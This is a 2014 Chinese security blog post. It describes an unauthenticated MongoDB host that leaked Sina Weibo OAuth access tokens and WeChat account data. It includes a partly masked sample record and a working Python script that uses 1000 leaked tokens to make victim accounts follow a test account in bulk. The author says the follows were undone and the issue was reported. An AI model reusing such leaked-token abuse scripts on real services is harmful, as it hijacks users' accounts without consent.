Mongodb未授权访问漏洞之某主机泄露新浪微博accessToken

18 Dec 2014 - Evi1m0

背景

在前段时间邪红F1,2,4发出 《Mongodb unauthorized access vulnerability global probing report》 后,我们对这些受影响的列表进行了简单的数据分析,其中发现了一台有趣的主机。

数据泄露

其中这台Mongodb数据主机存储着大量的微信公众号信息,新浪微博授权信息等敏感信息,其中我们对新浪微博授权信息进行简单的测试。

测试过程

筛选1000条存储的用户新浪微博的授权数据,其中格式为:

{
    "_modified" : ISODate("2014-09-14T06:30:33.718Z"),
    "_created" : ISODate("2014-09-14T06:30:33.718Z"),
    "uid" : "163****265",
    "url" : "u/163****265",
    "name" : "猫****",
    "screenName" : "猫****",
    "accessToken" : "2.00LniemB******d10ba02ef5oEMJTB",
    "description" : "",
    "verified" : false,
    "logo" : "http://tp2.sinaimg.cn/1635102265/50/4000*****04/1",
    "logoLarge" : "http://tp2.sinaimg.cn/1635102265/180/4000*****04/1",
    "type" : "normal",
    "_id" : "14872d****48a87"
}

其中数据泄露新浪微博用户授权成功后的accessToken值,将数据以JSON进行导出后使用Python进行处理,提取出1000条accessToken方便进行测试。

微博API

之后我们使用关注用户API进行简单的测试,编写脚本批量的利用泄露的accessToken值进行关注用户:

#!/usr/bin/env python
# coding=utf8
# author=evi1m0#ff0000team

import requests

f = open('./accessToken.txt','r')
flag = 1
for i in f:
    api_url = 'https://api.weibo.com/2/friendships/create.json'
    post = {"uid":"5238604657", "access_token":i.split()}
    requests.post(api_url, data=post)
    flag+=1
    print '[*] ' + str(flag) + ': ' + api_url
    print post
    print

其中uid为关注用户的UID,遍历./accessToken.txt中的accessToken进行请求,于是不一会儿的功夫我们测试微博收到了新增800多个粉丝的消息,后面我们又利用取消关注API进行了取消操作。

状态

我们没有对这些数据进行恶意利用,目前已提交给官方进行及时修复:)

评论插件使用 Disqus ,需翻墙才能查看及留言。